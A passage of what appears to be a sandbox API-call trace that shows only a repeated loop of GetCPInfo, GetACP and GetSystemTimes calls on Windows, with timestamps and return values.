CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.069] GetACP () returned 0x4e4 [0054.069] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.069] GetACP () returned 0x4e4 [0054.069] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.069] GetACP () returned 0x4e4 [0054.069] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.069] GetACP () returned 0x4e4 [0054.069] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.069] GetACP () returned 0x4e4 [0054.069] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.069] GetACP () returned 0x4e4 [0054.069] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.069] GetACP () returned 0x4e4 [0054.069] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.069] GetACP () returned 0x4e4 [0054.069] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.069] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.070] GetACP () returned 0x4e4 [0054.070] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.070] GetACP () returned 0x4e4 [0054.070] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.070] GetACP () returned 0x4e4 [0054.070] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.070] GetACP () returned 0x4e4 [0054.070] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.070] GetACP () returned 0x4e4 [0054.070] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.070] GetACP () returned 0x4e4 [0054.070] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.070] GetACP () returned 0x4e4 [0054.070] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.070] GetACP () returned 0x4e4 [0054.070] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.070] GetACP () returned 0x4e4 [0054.070] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.070] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.070] GetACP () returned 0x4e4 [0054.070] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.071] GetACP () returned 0x4e4 [0054.071] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.071] GetACP () returned 0x4e4 [0054.071] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.071] GetACP () returned 0x4e4 [0054.071] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.071] GetACP () returned 0x4e4 [0054.071] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.071] GetACP () returned 0x4e4 [0054.071] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.071] GetACP () returned 0x4e4 [0054.071] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.071] GetACP () returned 0x4e4 [0054.071] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.071] GetACP () returned 0x4e4 [0054.071] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.071] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.071] GetACP () returned 0x4e4 [0054.071] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.072] GetACP () returned 0x4e4 [0054.072] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.072] GetACP () returned 0x4e4 [0054.072] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.072] GetACP () returned 0x4e4 [0054.072] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.072] GetACP () returned 0x4e4 [0054.072] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.072] GetACP () returned 0x4e4 [0054.072] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.072] GetACP () returned 0x4e4 [0054.072] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.072] GetACP () returned 0x4e4 [0054.072] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.072] GetACP () returned 0x4e4 [0054.072] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.072] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.072] GetACP () returned 0x4e4 [0054.072] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.073] GetACP () returned 0x4e4 [0054.073] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.073] GetACP () returned 0x4e4 [0054.073] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.073] GetACP () returned 0x4e4 [0054.073] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.073] GetACP () returned 0x4e4 [0054.073] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.073] GetACP () returned 0x4e4 [0054.073] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.073] GetACP () returned 0x4e4 [0054.073] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.073] GetACP () returned 0x4e4 [0054.073] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.073] GetACP () returned 0x4e4 [0054.073] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.073] GetACP () returned 0x4e4 [0054.073] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.073] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.073] GetACP () returned 0x4e4 [0054.074] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.074] GetACP () returned 0x4e4 [0054.074] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.074] GetACP () returned 0x4e4 [0054.074] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.074] GetACP () returned 0x4e4 [0054.074] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.074] GetACP () returned 0x4e4 [0054.074] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.074] GetACP () returned 0x4e4 [0054.074] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.074] GetACP () returned 0x4e4 [0054.074] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.074] GetACP () returned 0x4e4 [0054.074] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.074] GetACP () returned 0x4e4 [0054.074] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.074] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.074] GetACP () returned 0x4e4 [0054.074] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.075] GetACP () returned 0x4e4 [0054.075] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.075] GetACP () returned 0x4e4 [0054.075] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.075] GetACP () returned 0x4e4 [0054.075] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.075] GetACP () returned 0x4e4 [0054.075] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.075] GetACP () returned 0x4e4 [0054.075] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.075] GetACP () returned 0x4e4 [0054.075] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.075] GetACP () returned 0x4e4 [0054.075] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.075] GetACP () returned 0x4e4 [0054.075] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.075] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.075] GetACP () returned 0x4e4 [0054.075] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.076] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.076] GetACP () returned 0x4e4 [0054.076] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.076] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.076] GetACP () returned 0x4e4 [0054.076] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.076] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.076] GetACP () returned 0x4e4 [0054.076] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.076] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.076] GetACP () returned 0x4e4 [0054.076] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.076] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.076] GetACP () returned 0x4e4 [0054.076] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.076] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.076] GetACP () returned 0x4e4 [0054.076] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.076] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.076] GetACP () returned 0x4e4 [0054.076] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.076] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.076] GetACP () returned 0x4e4 [0054.076] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.076] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.076] GetACP () returned 0x4e4 [0054.076] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.077] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.077] GetACP () returned 0x4e4 [0054.077] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.077] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.077] GetACP () returned 0x4e4 [0054.077] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.077] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.077] GetACP () returned 0x4e4 [0054.077] 